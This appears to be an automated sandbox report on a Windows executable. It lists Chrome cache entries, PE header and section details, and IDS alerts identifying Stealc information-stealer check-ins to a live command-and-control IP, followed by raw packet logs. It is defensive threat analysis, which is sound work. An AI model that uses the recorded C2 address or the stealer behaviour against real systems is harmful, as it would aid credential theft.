Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (821)
Category:	downloaded
Size (bytes):	826
Entropy (8bit):	5.131912807599957
Encrypted:	false
SSDEEP:	24:0NgMzbDuL77VkBHslgT9lCuABur67HHHHHHHYqmffffffo:0NgAbaH72KlgZ01BuGEqmffffffo
MD5:	E4A8A2323507688038DFA62AC531D6B1
SHA1:	FFAB5F1A575FDA114857A3674CF990810A366C81
SHA-256:	07214359A1DF5E1AE66AD368DA65FBBB7D8141B1C65E58E17D6C5CCE0C047B39
SHA-512:	108DE4BF822BCE608E97BFB8D927C278218718D37F18968079F4159A1ACC03B296A90E41F3F9F921203FCA10A38569218A8F2B6087664AF9E7622C712856333C
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["target thanksgiving meal deal","dodgers yankees world series game 3","nyt connections hints october 29","monopoly go tycoon candy store rewards","football power rankings nfl","new chopin waltz lang lang","mtg foundations cards","rockefeller christmas tree lighting"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1256,1255,1254,1253,1252,1251,1250,1200],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133746
Entropy (8bit):	5.436489240123811
Encrypted:	false
SSDEEP:	3072:2Pwvjxd0QniyZ+qQf4VBNQ0pqUvx7U+OUaKszQ:Ewvv0yTVBNQ0pzvxI+ORQ
MD5:	E4191273EE43AA89F2FFC6BDC48C8671
SHA1:	A476CCCB2CD61DF9DD39FAC19E19787C2388F5B7
SHA-256:	D669430D00114A7E3539BD692B9615AF14C8B1128B5A86BE5A20D14980955F15
SHA-512:	007193A5FA98D6F6FE0D1FD1407086B568D339B49A8E043FB70150FB706CEAC00E85AA306B4B90AEA110CD96CA7F546F0B702F82D99615712D35DD7252D4D7BD
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.959267710625706
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'190'336 bytes
MD5:	9340a3851c0ae73f202ab165714889a8
SHA1:	9b2ccc7dc4374590caf879d0e66b8708a6d01e66
SHA256:	6511c91771f14671867e54fe4541c9e2cf6bfef8bf1356b88122266f6a73811d
SHA512:	57894aade534e17f50648838f14b8813c614aa08d153045567de91d9c882a35ac3257202a18984d2dde59645483faeca3cc98ad39a813565dee95602ce6cc1fe
SSDEEP:	49152:46JjPCs1XYfHpOxgEv3z0zhE/O5t4TFNUCFcDa8ey:UeXYnEv3z0zhE/OQMCeG8z
TLSH:	2DA533A528F7B6CDFB0F01B6280F171D72945CA18A12BD959A486235F75F3E6328F48C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb51000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7EC8F866BAh
cmovp esp, dword ptr [ecx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	075168a1ffae654e5d87070069f3faf0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2ba000	0x200	f1f6738cb7f281398b3e57ddb4bc18ca	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kojemgsz	0x5a4000	0x1ac000	0x1abc00	521789ec872a3eaf90a9ab1cec3ef3f5	False	0.9949967581092928	data	7.954479779236288	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jocbxdlx	0x750000	0x1000	0x400	116ead9f9b2229f854ca9f4b6dd7abcd	False	0.822265625	data	6.275411544537366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x751000	0x3000	0x2200	2d3da35bcb1fd9dbb38a33a2407163aa	False	0.06525735294117647	DOS executable (COM)	0.8124431573052229	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T15:27:16.734611+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49742	185.215.113.206	80	TCP
2024-10-29T15:27:18.068102+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49742	185.215.113.206	80	TCP
2024-10-29T15:27:18.068255+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49742	TCP
2024-10-29T15:27:18.554513+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49742	185.215.113.206	80	TCP
2024-10-29T15:27:18.554868+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49742	TCP
2024-10-29T15:27:20.121790+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49742	185.215.113.206	80	TCP
2024-10-29T15:27:20.766112+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49742	185.215.113.206	80	TCP
2024-10-29T15:27:46.718269+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49940	185.215.113.206	80	TCP
2024-10-29T15:27:48.288325+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49940	185.215.113.206	80	TCP
2024-10-29T15:27:48.950660+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49940	185.215.113.206	80	TCP
2024-10-29T15:27:49.439666+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49940	185.215.113.206	80	TCP
2024-10-29T15:27:50.950412+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49940	185.215.113.206	80	TCP
2024-10-29T15:27:51.825503+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49940	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 15:27:07.766630888 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:07.766650915 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:07.766776085 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:07.767157078 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:07.767168045 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:08.536823034 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:08.536922932 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:08.540297031 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:08.540302038 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:08.540680885 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:08.550200939 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:08.595381975 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:08.777849913 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:08.777880907 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:08.777924061 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:08.777956963 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:08.777970076 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:08.778023005 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:08.778053045 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.171693087 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.171709061 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.171734095 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.171948910 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.171948910 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.171957970 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.172024965 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.173779011 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.173815012 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.173850060 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.173855066 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.173887968 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.173922062 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.175977945 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.175997972 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.176040888 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.176045895 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.176075935 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.176095963 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.178664923 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.178685904 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.178728104 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.178733110 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.178762913 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.178797007 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.180471897 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.180494070 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.180553913 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.180561066 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.180587053 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.180607080 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.415457964 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.415472984 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.415504932 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.415589094 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.415597916 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.415663004 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.415684938 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.415971041 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.415992975 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.416043997 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.416052103 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.416075945 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.416090012 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.536947966 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.537003040 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.537024021 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.537030935 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.537077904 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.537096977 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.658878088 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.658910990 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.658948898 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.658957005 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.659008980 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.659008980 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.779567003 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.779598951 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.779690027 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.779696941 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.779766083 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.779795885 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.826498985 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.826524019 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.826617956 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.826631069 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.826702118 CET	49711	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:09.948410034 CET	443	49711	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:09.948438883 CET	443	49711	13.107.246.45	192.168.2.6
